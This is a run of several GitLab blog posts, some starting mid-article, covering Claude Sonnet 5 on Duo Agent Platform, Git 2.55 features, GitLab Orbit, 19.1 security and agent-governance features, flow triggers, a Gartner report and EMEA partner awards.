"Claude Sonnet 5 handled the full range of coding tasks we tested it on, while resolving more issues. It's a meaningful improvement to both quality and efficiency. We made it available on GitLab Duo Agent Platform today on all tiers and deployment models."

– Manav Khurana, Chief Product and Marketing Officer, GitLab

Finish every agent run

The most expensive agent failure is often the one that stops halfway. When a run stalls partway through a multi-step task, the cost isn't just the lost work — it's the diagnosis, the re-prompt, and the verification of whatever partial output came back. Reliability is what turns an agent from something you supervise into something you delegate to.

That's the bar Claude Sonnet 5 clears: It's the first model in our evaluation suite to finish every benchmark task. And paired with 8.8% more issues resolved, it means the work that comes back is more likely to be usable, not just present.

For teams using GitLab Duo Agentic Chat, this is what changes the daily loop of prompt, wait, evaluate. A multi-file refactor produces reviewable output instead of a dead end. Test generation can return coverage you can use. Security investigations can trace further across repository history. Duo foundational agents can handle more of their assigned work without intervention, so your time goes to reviewing results rather than restarting runs.

Spend less for better results

Efficiency and reliability compound. An agent that finishes more of its work and uses fewer resources getting there lowers the real cost of every completed task.

Different models on GitLab Duo Agent Platform consume GitLab Credits at different rates, and the right choice depends on the task. Running a broad set of everyday development work on a model whose cost profile fits that work is how teams keep agent workflows affordable at scale.

For a full list of models and their credit consumption, see the GitLab Credits documentation.

Choose the right model for your workflow

The point isn't one model for everything. It's a reliable, cost-efficient default for the broad middle of day-to-day agent work, with heavier models a click away when a task earns them.

Claude Sonnet 5 joins a growing set of AI models available on GitLab Duo Agent Platform. Sonnet-class models balance quality, speed, and cost for everyday development work. For complex, long-horizon agentic tasks that demand maximum reasoning depth, Claude Opus 4.8 remains available. You select models per task through model selection in your GitLab instance.

Get started today

Claude Sonnet 5 is available now on GitLab Duo Agent Platform through GitLab's AI Gateway. Like other models, it runs on GitLab Credits.

Start a free trial of GitLab Duo Agent Platform today, or sign up from the GitLab Free tier by following a few simple steps. Existing GitLab Premium or Ultimate subscribers can use the GitLab Credits included with your subscription.

What's covered:

• git-history(1) learns fixup
• fsmonitor daemon for Linux
• git push to a remote group
• Limiting git log --graph lane width
• Evolution of Rust in the Git codebase
• Faster git-grep(1) and git-cherry(1) in partial clones

git-history(1) learns fixup

In our highlights of Git 2.54.0, we covered the introduction of git-history(1). In 2.55.0, a new subcommand for this tool was added: fixup.

Imagine you've made some changes and you want to amend those changes into an existing commit. The most common approach to this is to create a fixup commit and autosquash it with git-rebase(1):

git commit --fixup=<commit-id>
git rebase -i --autosquash <commit-id>^

Doing this in two steps is clumsy, especially because it requires an interactive rebase. Instead you can use the git-history(1) fixup command:

git history fixup <commit-id>

This takes the staged changes and amends them into the given commit. As an added bonus, because you're using git-history(1), all other local branches that contain the fixed-up commit are updated as well. So when working with stacked branches, fixup-ing a commit in the stack will automatically rebase all related branches.

This feature was implemented by Patrick Steinhardt.

fsmonitor daemon for Linux

When working with large monorepos, git-status(1) can be slow to determine what changed in the local worktree because Git would need to traverse the whole working tree to see which files are modified. To speed up this process, in January 2018 a setting core.fsmonitor was added in Git 2.16. Back then, you had to provide your own tool (like Watchman). When this was configured, this tool runs in the background and monitors changes on the file system. This informs Git that a file was touched and Git then verifies whether the file was modified and updates the cached status. Then whenever the user calls git-status(1), it can simply return the cached status.

In April 2022, the setting core.fsmonitor was changed to accept a boolean value. When this setting is set to true, a daemon built-in into Git is used and no more third-party tool is needed. But this filesystem monitor was only implemented for Windows and macOS, support for GNU/Linux did not yet exist.

This changes in Git 2.55, where support for Linux has been added, too. To achieve this, inotify(7) is used. inotify(7) was chosen over fanotify(7) because fanotify(7) requires elevated privileges. This comes with a small caveat though, the fsmonitor needs to put a watcher on each and every directory in the repository. In a large repo you might hit the limit of inotify watches (fs.inotify.max_user_watches), which you may need to raise.

These changes were submitted by Paul Tarjan based on work by Eric DeCosta and Marziyeh Esipreh.

git push to a remote group

Quite some time ago git-fetch(1) learned to fetch from a group of remotes.

The following command configures a group of remotes:

git config set remotes.forks "origin upstream"

When this is set up, you can git-fetch(1) from this "forks" group, and then all the remotes in that list are fetched from. This can be useful when you want to get the updates from a set of remotes in one go.

git-push(1), however, was not able to use remote groups.

In Git 2.55, this gap is closed and git-push(1) now accepts a remote group too. For example if you want to push the main branch to the group mentioned above:

git push forks main

Similar as with git-fetch(1), this command pushes the specified refs to each of the remotes in the group. Each remote is pushed independently and honors its own remote.<name>.push mapping and mirror settings.

This feature was submitted by Usman Akinyemi, suggested by Junio C Hamano.

Limiting git log --graph lane width

The --graph option of git-log(1) draws an ASCII representation of the commit history. In a repository with many active contributors this graph can grow very wide. For example, on the git.git repository this graph grows nine lanes wide after only 30 commits:

* 26d8d94e94 A few more topics before -rc2
*   02bb39c5cb Merge branch 'js/objects-larger-than-4gb-on-windows-more'
|\
| * c6a4629e32 odb: use size_t for object_info.sizep and the size APIs
| * 7a3a78cc76 packfile,delta: drop the `cast_size_t_to_ulong()` wrappers
| * 188bac14f7 pack-objects: use size_t for in-core object sizes
| * 2d83cc3f84 packfile: widen unpack_entry()'s size out-parameter to size_t
| * 1d43315b31 pack-objects(check_pack_inflate()): use size_t instead of unsigned long
| * 33afe87338 patch-delta: use size_t for sizes
| * 8ea69373a4 compat/msvc: use _chsize_s for ftruncate
* |   8cf57cbec4 Merge branch 'kw/gitattributes-typofix'
|\ \
| * | 0bf506efd4 gitattributes: fix eol attribute for Perl scripts
* | |   8d96f09e92 Merge branch 'js/objects-larger-than-4gb-on-windows'
|\ \ \
| * | | ab3810eb6f zlib: properly clamp to uLong
* | | | 95e20213fa Hopefully final batch before -rc2
* | | |   8632b5c49d Merge branch 'en/commit-graph-timestamp-fix'
|\ \ \ \
| * | | | fbcc5408fc commit-graph: use timestamp_t for max parent generation accumulator
* | | | |   619931f561 Merge branch 'dl/posix-unused-warning-clang'
|\ \ \ \ \
| * | | | | cf48887610 compat/posix.h: simplify GIT_GNUC_PREREQ() comparison
| * | | | | ffd45926dc compat/posix.h: clean up GIT_GNUC_PREREQ() and UNUSED
| * | | | | 689dc92e50 compat/posix.h: enable UNUSED warning messages for Clang
* | | | | |   621962aa7a Merge branch 'td/ls-files-pathspec-prefilter'
|\ \ \ \ \ \
| * | | | | | 3f5203eeb4 ls-files: filter pathspec before lstat
| | |_|_|_|/
| |/| | | |
* | | | | |   0c706d5092 Merge branch 'ta/doc-config-adoc-fixes'
|\ \ \ \ \ \
| * | | | | | 4fa2c6e045 doc: git-config: escape erroneous highlight markup
| * | | | | | 042221cccb doc: config/sideband: fix description list delimiter
| * | | | | | 3eb61fda62 doc: config: terminate runaway lists
* | | | | | |   49cb068fb2 Merge branch 'jc/t1400-fifo-cleanup'
|\ \ \ \ \ \ \
| * | | | | | | e8f12e0e95 t1400: have fifo test clean after itself
* | | | | | | |   b4970f8448 Merge branch 'td/describe-tag-iteration'
|\ \ \ \ \ \ \ \
| * | | | | | | | 55088ac8a4 describe: limit default ref iteration to tags

This happens because every lane continues downward to the commit from where the branch was created. This pushes the commit messages off to the right, making it harder to read. Especially when the terminal screen width is reached, this becomes unusable.

Git 2.55 adds a new --graph-lane-limit=<n> option to limit the number of lanes that are drawn. Any lanes beyond the limit are replaced with a ~ truncation mark, so it stays obvious that the graph was trimmed:

git log --graph --graph-lane-limit=5

Using this option for the same 30 commits as above, we'll get:

* 26d8d94e94 A few more topics before -rc2
*   02bb39c5cb Merge branch 'js/objects-larger-than-4gb-on-windows-more'
|\
| * c6a4629e32 odb: use size_t for object_info.sizep and the size APIs
| * 7a3a78cc76 packfile,delta: drop the `cast_size_t_to_ulong()` wrappers
| * 188bac14f7 pack-objects: use size_t for in-core object sizes
| * 2d83cc3f84 packfile: widen unpack_entry()'s size out-parameter to size_t
| * 1d43315b31 pack-objects(check_pack_inflate()): use size_t instead of unsigned long
| * 33afe87338 patch-delta: use size_t for sizes
| * 8ea69373a4 compat/msvc: use _chsize_s for ftruncate
* |   8cf57cbec4 Merge branch 'kw/gitattributes-typofix'
|\ \
| * | 0bf506efd4 gitattributes: fix eol attribute for Perl scripts
* | |   8d96f09e92 Merge branch 'js/objects-larger-than-4gb-on-windows'
|\ \ \
| * | | ab3810eb6f zlib: properly clamp to uLong
* | | | 95e20213fa Hopefully final batch before -rc2
* | | |   8632b5c49d Merge branch 'en/commit-graph-timestamp-fix'
|\ \ \ \
| * | | | fbcc5408fc commit-graph: use timestamp_t for max parent generation accumulator
* | | | |   619931f561 Merge branch 'dl/posix-unused-warning-clang'
|\ \ \ \ \
| * | | | ~ cf48887610 compat/posix.h: simplify GIT_GNUC_PREREQ() comparison
| * | | | ~ ffd45926dc compat/posix.h: clean up GIT_GNUC_PREREQ() and UNUSED
| * | | | ~ 689dc92e50 compat/posix.h: enable UNUSED warning messages for Clang
* | | | | ~ 621962aa7a Merge branch 'td/ls-files-pathspec-prefilter'
|\ \ \ \ \~
| * | | | ~ 3f5203eeb4 ls-files: filter pathspec before lstat
| | |_|_|_~
| |/| | | ~
* | | | | ~ 0c706d5092 Merge branch 'ta/doc-config-adoc-fixes'
|\ \ \ \ \~
| * | | | ~ 4fa2c6e045 doc: git-config: escape erroneous highlight markup
| * | | | ~ 042221cccb doc: config/sideband: fix description list delimiter
| * | | | ~ 3eb61fda62 doc: config: terminate runaway lists
* | | | | ~ 49cb068fb2 Merge branch 'jc/t1400-fifo-cleanup'
|\ \ \ \ \~
| * | | | ~ e8f12e0e95 t1400: have fifo test clean after itself
* | | | | ~ b4970f8448 Merge branch 'td/describe-tag-iteration'
|\ \ \ \ \~
| * | | | ~ 55088ac8a4 describe: limit default ref iteration to tags

The option only makes sense together with --graph. The default is 0, which means no limit, and zero or negative values are treated the same way, just like --max-parents does.

This feature was submitted by Pablo Sabater.

Evolution of Rust in the Git codebase

In March 2025, with the release of Git 2.49, the first Rust code was added to the Git codebase. Rust bindings were added to allow Rust code to call into libgit. But none of that Rust code was used by the Git binaries.

In November 2025, in Git 2.52, the first Rust production code was introduced into Git. Then a Rust implementation for the varint subsystem was added. This code is optionally compiled if the Rust compiler is available, and when it's not, the C implementation is used. This was added as a test balloon for distributors to start preparing their tooling for a Git release that requires Rust at some point.

Earlier this year, in Version 2.54, more Rust code was added to the codebase with the introduction of the ObjectID type. This was added as part of the efforts to implement interoperability between SHA-1 and SHA-256.

Until this release, both build systems Make and Meson would gracefully fall back to the C implementation if the Rust compiler is not found. With this v2.55 release the Rust compiler is required unless you explicitly disable it in the build system.

Please note that this doesn't affect users of Git. It only affects those who build Git from source. If you compile Git and don't want to use Rust, disable it with one of these commands:

# Meson
meson configure -Drust=disabled

# Makefile
make NO_RUST=YesPlease

Bringing Rust into Git has been an ongoing (and unfinished), multi-release, community effort. It's impossible to attribute this to a single person, but some of the most prominent contributors include brian m. carlson, Patrick Steinhardt, Ezekiel Newren, and Calvin Wan.

Faster git-grep(1) and git-cherry(1) in partial clones

git-clone(1) has this feature called partial clone. This allows the user to apply a filter to what is sent over from the server. In practice, this is done with the --filter option. For example:

git clone --filter=blob:none <remote>

This will clone the repository, but that clone excludes all blobs (i.e. the contents of the files in the tree). This can speed up the clone tremendously, but it comes at the cost that Git needs to download blobs later when other commands are used that read file contents. And some commands might need a lot of missing blobs.

git-grep(1) is one of those commands, as it searches the content of the files. To do so, it obviously needs to have those files. Imagine you want to search the word "TODO" 100 commits back in history:

git grep TODO HEAD~100

This command resolves the HEAD~100 commit and the trees associated with that. But those trees might point to blobs that aren't downloaded yet. Previously, each blob was downloaded separately. But that is improved in Git 2.55. In this version of Git, the blob downloads are batched together into a single negotiating round-trip with the server.

This batching is now implemented for both git-grep(1) and git-cherry(1).

This change was submitted by Elijah Newren.

Read more

This article highlighted just a few of the contributions made by GitLab and the wider Git community for this latest release. You can learn about these from the official release announcement of the Git project. Also, check out our previous Git release blog posts to see other past highlights of contributions from GitLab team members.

The Orbit integration is a new addition to a family of purpose-built GitLab integrations already in the Google Cloud ecosystem and brings GitLab's context layer into Google's agent-first development platform.

Query your software lifecycle within Antigravity

Antigravity agents, without GitLab Orbit, can see the files and reach the terminal. They do not understand the broader system: which services depend on the code being changed, whether similar vulnerabilities have been flagged elsewhere, or who reviewed comparable changes in the past. That context lives in your DevSecOps platform. Getting it to a coding agent has meant using custom scripts or copy-pasting between tools.

GitLab Orbit indexes your GitLab instance and builds a knowledge graph of relationships between groups, projects, users, work items, merge requests, pipelines, vulnerabilities, and source code. It surfaces that graph through two MCP tools: query_graph, which executes structured queries, and get_graph_schema, which returns available node types, properties, and relationships.

With this integration, an Antigravity agent can be more accurate and you can answer the most complex questions about your software lifecycle with this context layer:

• Which projects depend on this module, and will this change break them?
• Have any unresolved vulnerabilities been found in this project?
• Based on past reviews and file ownership, who should review this merge request?
• Which projects produce the most pipeline failures in this group?

The agent composes the query in GitLab Orbit's JSON DSL and gets typed results back, instead of requiring you to switch between browser tabs and paste context into the coding platform.

In early internal tests, agents grounded with GitLab Orbit responded up to 11 times faster, used up to 4.5 times fewer tokens, and produced up to 45 times fewer hallucinations.

Key user journeys

With GitLab Orbit and Antigravity, several key user journeys are enhanced by the interoperability of the two services.

Blast radius analysis

Before refactoring a shared auth library, an engineer asks an Antigravity agent connected to GitLab Orbit: What depends on this module? Which open merge requests touch those files? And who owns them? The agent queries the knowledge graph and returns all three in one answer: the importers, every in-flight merge request against those files, and their owners. The engineer sees which open work the refactor will collide with, and who to involve, before editing a line. Without Orbit, the same agent sees only the open files and the terminal, with no ability to query the importers, merge requests, and owners that live in GitLab.

Onboarding and codebase exploration

A developer returning to an unfamiliar service asks for its dependencies, entry-point files, and the merge requests opened against it this week. The agent runs the queries against the knowledge graph and produces a Walkthrough Artifact, a scannable map the developer keeps rather than a chat answer that scrolls away. Orbit reindexes within minutes of a change, so the map reflects the service as it is today, not the stale wiki that onboarding usually relies on.

Dependency mapping with image generation

A tech lead queries GitLab Orbit for a group's service-dependency structure and has the agent render it as an architecture diagram with Nano Banana Pro. Its nodes and edges are drawn from the live graph rather than relying on a diagram that's already out of date. For a narrower view, like only the services with open security findings, the tech lead re-queries and regenerates a diagram. Every query is filtered to what the tech lead can access, so the diagram is safe to share as-is. A text-only agent can't turn a graph query into a diagram, let alone keep it current. GitLab is building the same capability natively as a Software Architecture Map; in Antigravity, it works today.

Install from the MCP Store in clicks

Antigravity's MCP Store is a built-in integration hub inside the settings. It uses the Model Context Protocol to connect agents to external tools and services in a standardized way.

Open the MCP Store panel from the settings. Within the customization tab, find the MCP section. Click “Add MCP” and add GitLab Orbit. Authenticate with GitLab through the on-screen prompts. Once installed, Orbit's tools are automatically available to your agents. No config files or terminal setup required.

Build on the same context that powers GitLab Duo Agent Platform

GitLab Orbit is the same engine that provides context to Duo Agent Platform. For platform engineering teams managing large GitLab instances, agents working inside Antigravity draw on the same governed knowledge graph as agents working inside GitLab, without a separate context pipeline to configure and maintain.

Orbit indexes code in Ruby, Java, Kotlin, Python, TypeScript, JavaScript, Rust, and C# from the default branch, and reindexes within minutes of a change. Queries through MCP consume GitLab Credits; calls to get_graph_schema are free.

Get started

GitLab Orbit is available for GitLab Premium and Ultimate tiers on GitLab.com. To try it out, turn on Orbit for your top-level group, then install the GitLab Orbit integration from the Antigravity MCP Store.

If you are not yet using GitLab Duo Agent Platform, start with a free trial.

If you are on GitLab's Free tier, sign up for Duo Agent Platform with these steps.

If you are a GitLab Premium or Ultimate subscriber, turn on Duo Agent Platform and use the GitLab Credits included with your subscription.

Enforce third-party scanners on every project at scale

For most security teams, the hardest part of application security is scanner coverage. Different scanners are set up project by project, so whether a scanner runs depends on individual teams setting it up. New projects can go unnoticed and can ship for weeks before teams realize they are not scanned. When coverage depends on tribal knowledge rather than policy, code ships unscanned, vulnerabilities ship to production, and audits expose gaps.

You can now enforce third-party scanners at scale across all of your GitLab projects. Any scanner that outputs SARIF runs under your policies, and the vulnerabilities identified flow into GitLab natively. Every finding lands in one vulnerability view governed by the same rules, so coverage becomes something you can prove rather than hope for.

From there, third-party scanner findings run through the same GitLab Duo Agent Platform auto-remediation workflow as GitLab native scanner findings. SAST False Positive Detection triages findings to prioritize those with real risk, and Agentic SAST Vulnerability Resolution opens a ready-to-merge fix to automatically remediate findings before they go into production. Your team gets coverage it can prove with one governed view across every scanner, and automated remediation for third-party findings.

Catch secrets earlier, and spend less time on false positives

Secret detection runs in your pipelines to catch leaked credentials, but teams have historically struggled with two things: missed secrets and noisy findings. On a new branch, only the latest commit gets scanned, so a secret committed earlier might ship unnoticed. The findings detected come mixed with test credentials, placeholder values, and example tokens, so developers spend time clearing noise instead of addressing real exposures.

Secret detection now scans every commit on a new branch instead of only the latest one, and Secret False Positive Detection, now generally available, adds a confidence score and an explanation to each finding, shown in the vulnerability report. Your team catches secrets wherever they were introduced, and spends time reducing risk from real exposures rather than false positives.

Decide what your AI agents can do, and prove it

Companies have adopted AI agents for coding. Agents open merge requests, call tools, and commit code alongside the developers they work for. However, once an agent is approved for a project, it can write, delete, and push without anyone reviewing the action first. Your company remains accountable for changes in the codebase, regardless of whether an agent makes them or a developer. Enterprises need to determine what an agent is allowed to do before it acts, and to show exactly what it did after.

GitLab 19.1 closes that governance gap. With AI audit event streaming, now in beta, every action an agent takes is recorded as an audit event and streamed to your audit log destinations, with the rest of your audit trail. The release also gives you control over what agents can do on your platform. Agent tool approval guardrails, also in beta, let an administrator set each agent tool to run on its own, pause for human approval, or stay blocked, so a sensitive action like writing a file or deleting a resource waits for a team reviewer before it runs. Every approval decision is recorded as an audit event for teams to retroactively review.

The result is governed autonomy. Agents can run end to end, inside the guardrails you set, and a risky action does not reach the codebase unless a person signs off on it. When an auditor or an incident responder later asks what an agent did, the answer is already in the audit trail the team runs.

Governed autonomy for your agents

GitLab 19.1 puts governance around the agents in your codebase, with full security scanner coverage across every project and automatic remediation of third-party scanners. You set what each agent is allowed to do before it acts, and every action lands in your audit trail.

To see what your agents can do inside the guardrails you set, and prove what they did, start a free trial of GitLab Duo Agent Platform today.

GitLab 19.1 ships event-driven triggers for Duo Flows alongside the governance controls and config validation that make running them safely possible. Together, they give enterprise teams the governance and reliability to run AI workflows continuously, without waiting for a human to pull the trigger.

Run flows automatically on real GitLab events

Until now, every GitLab Duo Flow trigger required a human action in the GitLab UI: Mention, Assign, or Assign Reviewer. That made it more challenging to drive flows programmatically, integrate them into production pipelines, or fire them on a schedule. For teams running production workflows at scale, the limitations included: no automated conflict summaries, no compliance checks on ready-for-review MRs, and no incident creation on pipeline failure. None of these workflows were possible without someone manually initiating a flow.

With triggers and new pipeline event filters, flows run every time the conditions your organization defines are met, with no manual handoff required. The AI Catalog stops being something your team uses and starts being something that works for your team, continuously, in the background, while developers focus on the work that actually requires judgment.

This is where the compounding value of agentic workflows becomes real. When flows respond to events automatically, the handoff delays that slow down feedback loops today start to shrink.

GitLab 19.1 includes four new event-driven triggers:

• Merge request code conflict detected fires the moment a conflict is detected in a merge request. That's exactly when an automated conflict summary and resolution proposals are most useful, before the developer has begun investigating the problem and before the conflict compounds. Previously, a developer would have to notice the conflict, open the MR, and manually trigger a review. Now the flow runs the moment the conflict appears.
• Draft to ready for review fires when a developer marks an MR ready. That's the right moment for an automated compliance review or readiness checklist to fire automatically. A flow that used to require a reviewer or team lead to manually initiate a pre-merge check now runs every time, the moment the signal arrives.
• Merge request approved fires when a merge request receives approval, automatically triggering post-approval steps like deployment readiness checks, compliance logging, or handoff notifications, without a human having to remember to kick them off.
• Work item created fires when a new work item is created. That opens up immediate triage flows, automatic label assignment, and routing logic that today requires either manual effort or brittle webhook setups outside GitLab.

While Pipeline events aren't new, the ability to filter by specific pipeline states is. You can now configure a trigger to fire only on failure, only on success, or only on cancellation, rather than on every pipeline state change. That means you can create incidents on failure and promote artifacts on success without alerting on every pipeline state change.

Merge conflict detected and Draft to Ready for Review are enabled by default, so teams gain value the moment they update to 19.1.

A developer experience improvement is also landing in 19.1. For developers actually running those flows locally, repeated tool invocations — npm installs, file edits, multi-step refactors — used to require re-approval every time. A new pattern-based approval tier (now in beta) lets you approve all uses of a tool for the session, so the agent can iterate without interrupting you.

Watch the event triggers in action:

Keep unapproved AI agents and flows out of your environment

An external agent surfacing in a namespace during a hackathon, or a team member enabling a community-contributed flow without security review, is enough to stop an enterprise trial in its tracks. For regulated organizations, unvetted AI content isn't a minor concern; it's a blocker.

Two new settings give instance admins and top-level group owners direct authority over exactly what runs.

• Disable custom agents and flows restricts users from creating or enabling custom-built agents and flows, limiting them to foundational content.
• Restrict the AI catalog to your group hierarchy blocks users from enabling AI Catalog items that originate outside their namespace, including community-contributed and third-party content.

Together, these settings bring AI agents and flows under the same admin oversight already governing other sensitive platform capabilities, so admins can open up broad usage without inviting agent sprawl into production.

Catch flow misconfigurations before they ship

Event-driven flows that fire automatically raise the stakes on getting accurate configuration right inside an enterprise. Whether a flow is misconfigured or over-fires, it creates noise and issues across the organization.

GitLab 19.1 moves validation upstream. When a user saves or updates a flow in the AI Catalog, GitLab validates the flow config against the Duo Workflow Service before persisting it. If there's a problem — a missing input, an unknown tool parameter, anything the validator catches — structured errors appear in the UI before the flow is saved. Valid flows save and trigger exactly as before.

The result: Every flow in the AI Catalog is correctly configured before anyone depends on it in production. Configuration problems surface at save time, when they're cheap to fix, not in the middle of the night when a pipeline fails.

Control which AI models are available to your team

Another governance capability is available as a public beta. Admins can now configure an allowlist of approved AI models and set an organization-wide default, rather than choosing between a pinned model or unrestricted selection.

This means organizations can restrict to data-residency-compliant or pre-approved providers while preserving end-user flexibility within that guardrail. This initial iteration applies to GitLab Duo Agentic Chat, with broader coverage across additional surfaces to follow soon.

Build on a foundation that’s ready for production

With these updates, flows can finally operate the way production automation is supposed to: continuously, reliably, and without waiting for someone to press a button. Admins have the governance authority to control exactly what runs in their environment, and developers get configuration feedback at the right moment instead of the worst one.

Start your free trial of GitLab Duo Agent Platform or explore the documentation to dig into agents, flows, and the AI Catalog.

Developers have never written code faster. Most now use more than one AI coding assistant, and we see customer codebases growing five times in a single year. But faster code hasn't made software ship faster. AI sped up one essential step and dumped the overflow on everything downstream: pipelines to wire up, security findings to clear, deployments to sequence, spend to keep an eye on. Fix one stage and the bottleneck just slides to the next.

That's not speed, really. It's a faster way to ship incidents, miss vulnerabilities, and overrun budgets. The actual work now is turning what agents produce into software you'd put your name on. We call it speed with control.

Download the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms.

The agentic era needs a control layer, not another tool

The problem enterprises face today is balancing speed of delivery with control. As agents multiply across teams and projects, organizations find they have no single place to govern who runs them, what data they can reach, what actions they can take, or whether any of it can be audited. Agents are expanding faster than the policies meant to manage them.

GitLab is already the platform where enterprises plan, build, secure, and ship software, with source code management, CI/CD, security, and deployment in one place. We’re embedded in the critical path of these changes, whether a person or an agent makes them. As your team and their coding agents write the change, GitLab pressure-tests it against your existing code, in your pipelines, and policies before it changes anywhere near production. That position is what makes GitLab the control layer for the agentic era.

The platform enterprises already trust to ship at scale

Agentic AI is only as good as the platform underneath it, and this is the foundation our customers already build on. Ericsson cut its deployment time in half while serving the operators that keep billions of subscribers connected. Southwest runs mission-critical software for round-the-clock airline operations, where reliability is not negotiable. Barclays PLC and other highly regulated enterprises deliver under security and compliance demands where speed and oversight cannot be traded against each other.

The same is true wherever customers run GitLab. We deliver the same platform, governance, and agentic capabilities across multi-tenant SaaS, single-tenant SaaS, and self-managed deployments, including agents running against self-hosted models in air-gapped environments — without trading away deployment control. Even the most regulated organizations get full AI capability without trading away the deployment control they require. Gartner recognized this parity between our SaaS and on-premises options, AI included, as a strength. And comprehensive does not mean closed: Teams extend the platform with the tools and AI services they already use, while keeping everything inside one governance boundary.

Engineered for enterprise-grade uptime

Orchestrating agentic work across the lifecycle only matters if the platform stays available when teams depend on it. Gartner noted that GitLab has strengthened its SLAs to meet or exceed competitors’. We back a 99.9% monthly availability commitment for Ultimate customers on GitLab.com and GitLab Dedicated, and stand behind it with service credits: If monthly availability falls below that threshold, eligible customers can claim credits toward a future invoice. Tying our own accountability to the reliability customers actually experience is what makes the commitment real.

Standardizing for speed and control

At GitLab Transcend last week, we built further on the control layer with five new innovations:

1. Next-gen source code management built for machine scale. In our testing, it runs up to 50x faster and moves up to 1,000x less data over the network.
2. GitLab Orbit, a context graph across your code, work items, pipelines, deployments, and production signals. Point Claude Code at Orbit and the same tasks with the same model run up to 11x faster, with up to 4.5x fewer tokens, and up to 45x fewer hallucinations.
3. Agents for security and governance for agents so you can keep up with the growing security and compliance gaps.
4. Coordination of tasks across developers and agents with the new agentic triggers that enables your team to automate work handoffs without someone shepherding every step.
5. GitLab Flex agreements so you can shape your GitLab spend on the products and capabilities without changing your contracts.

That gives a CIO a clear position to stand on: one platform, one context graph, and one governance boundary where teams and agents build software together.

That position is what we believe Gartner's recognition reflects. And it comes as GitLab continues a rapid pace of innovation, shipping new capabilities to customers every month for 175+ consecutive months. To see everything we announced and watch the sessions on demand, visit our What's New page.

Read the report

Download the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms.

Source: Gartner, Magic Quadrant for DevSecOps Platforms, Keith Mann, Thomas Murphy, Bill Holz, June 15, 2026

Gartner and Magic Quadrant are trademarks of Gartner, Inc., and/or its affiliates.

Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.

This graphic was published by Gartner Inc. as part of a larger report and should be evaluated in the context of the entire document. The Gartner document is available upon request from GitLab.

For customers, that means a shorter path from purchasing the platform to seeing real results, with expert guidance on the tools, processes, and methodologies that drive transformation.

Built for client success

The collaboration brings together GitLab's intelligent orchestration platform for DevSecOps and Capgemini's expertise in digital and business transformation, helping organizations modernize their software delivery, secure their supply chain, and bring AI into their development workflows.

The collaboration will initially focus on:

1. Cloud-native development and application modernization: Helping customers move legacy workloads onto modern architectures.
2. Sovereign solution design and delivery: Meeting regulatory, regional, and data-residency requirements.
3. Value stream modernization: Tightening the software delivery lifecycle from idea to production.
4. Generative and agentic AI: Bringing GitLab Duo Agent Platform into development workflows so teams ship software faster.

For more information about how GitLab and Capgemini can help your organization, please visit www.capgemini.com. If you are a GitLab or Capgemini customer, please contact your representative to get started.

Last week, GitLab EMEA partners came together to connect, grow their expertise, and align on what’s ahead. As part of that celebration, we took the opportunity to honor the partners who went above and beyond in their work with GitLab and our mutual customers.

We’re thrilled to announce the 2026 GitLab Partner Award Winners from the EMEA region:

Regional Partner of the Year Awards - Recognizing the partner in each region who demonstrated exceptional overall performance and strategic collaboration.

• Central Europe: cc cloud GmbH
  cc cloud GmbH combines infrastructure and DevOps expertise for cloud-based applications and platforms. As a managed service provider, cc cloud GmbH takes responsibility for the IT infrastructure and applications of companies, so that their customers can focus on their core business.
• Northern Europe: Eficode
  Eficode is Europe’s leading AI and services company for the software development lifecycle, serving over 1,600 customers across Europe and North America. The company helps enterprise organizations accelerate software delivery through managed services, consulting, toolchain implementation, and AI-augmented development practices.
• Southern Europe: Kiratech
  Kiratech is an Italian IT company that specializes in helping large enterprises modernize their infrastructures through a cloud native, DevOps, and PlatformOps approach. Kiratech acts as an official reseller, and a Select and implementation partner for GitLab.

Emerging Markets:

• Eastern Europe and Israel: Bynet
  Bynet is one of Israel’s most prominent and established systems integrators, with over four decades of experience delivering enterprise IT, cloud, cybersecurity, and modernization projects. With deep vertical expertise and longstanding relationships across government and private sector clients, Bynet plays a central role in Israel’s digital modernization landscape and they are a key ally to GitLab in advancing DevSecOps and AI adoption.

Best Technical Solution/Project - Honoring the partner who delivered the most innovative, complex, or impactful technical solution for a customer.

• Capgemini | Sogeti
  Sogeti, part of Capgemini, makes technology simple and impactful through AI-driven solutions across quality engineering, data, and cloud. They turn ideas into action quickly, delivering measurable outcomes from day one.

Most Certified and Enabled Partner - Awarding the partner with the most GitLab-certified professionals on their team.

• Devoteam
  Devoteam is AI-driven tech consulting. For 30 years, Devoteam has been a trusted advisor, navigating businesses through the changing tech landscape. They are tech natives, passionate about guiding you toward a future powered by AI.

Rookie of the Year - Recognizing the newest partner who achieved early success and made significant impact.

• ITDOTCOM
  ITDOTCOM, LLC is a value-added IT distributor based in Uzbekistan, specializing in software development, infrastructure, cybersecurity, and business automation solutions. They help global technology vendors and local partners expand across Central Asia through technical expertise, business development, and local market support.

First Order Master - Celebrating the partner who excels at acquiring new customers and consistently wins new business.

• Linux Polska
  Linux Polska is a leading provider of open-source solutions and consulting services for enterprises, with a strong focus on DevOps, automation, containerization and data analytics. They empower businesses to innovate faster through cutting-edge technology expertise and their reliable engineering support.

Co-marketing Partner of The Year - Recognizing the partner who demonstrated outstanding collaboration on joint marketing efforts to drive awareness and growth.

• Conoa a PROACT Company
  Conoa is Sweden's leading specialist in Kubernetes, cloud native, and container technology — offering services from strategy and consulting to managed platform operations. As a Kubernetes Certified Service Provider (KCSP) and part of Proact since 2021, Conoa brings deep expertise across industries including highly regulated sectors.

In a large monorepo, the gap shows up as wasted iterations, blown token budgets, and code that looks correct but gets reverted. Across repos, it's worse: the context window fills before the agent finds the answer, and the task fails outright. Teams end up spending more time fixing agent output than the agent saved them.

GitLab Orbit, now in public beta, closes the gap. It's a live, queryable graph of all your code, merge requests, pipelines, deployments, vulnerabilities, and ownership, with every relationship between them kept current as your team works. Agents reason from first-party GitLab data instead of stitched-together tool calls. Engineers can query the same graph through the Data Explorer to trace changes, investigate incidents, and answer the cross-system questions that today take hours of manual reconstruction.

Proven on real merge requests at Compare the Market

Compare the Market, a U.K. price comparison platform, tested four context retrieval approaches for an internal AI code reviewer across 79 real merge requests. The Orbit-grounded reviewer placed accurate inline comments about 70% of the time, against about 58% for retrieval-augmented generation (RAG), and captured more of the key changes in summaries (68% vs. 66%). RAG underperformed every other approach, including no context at all.

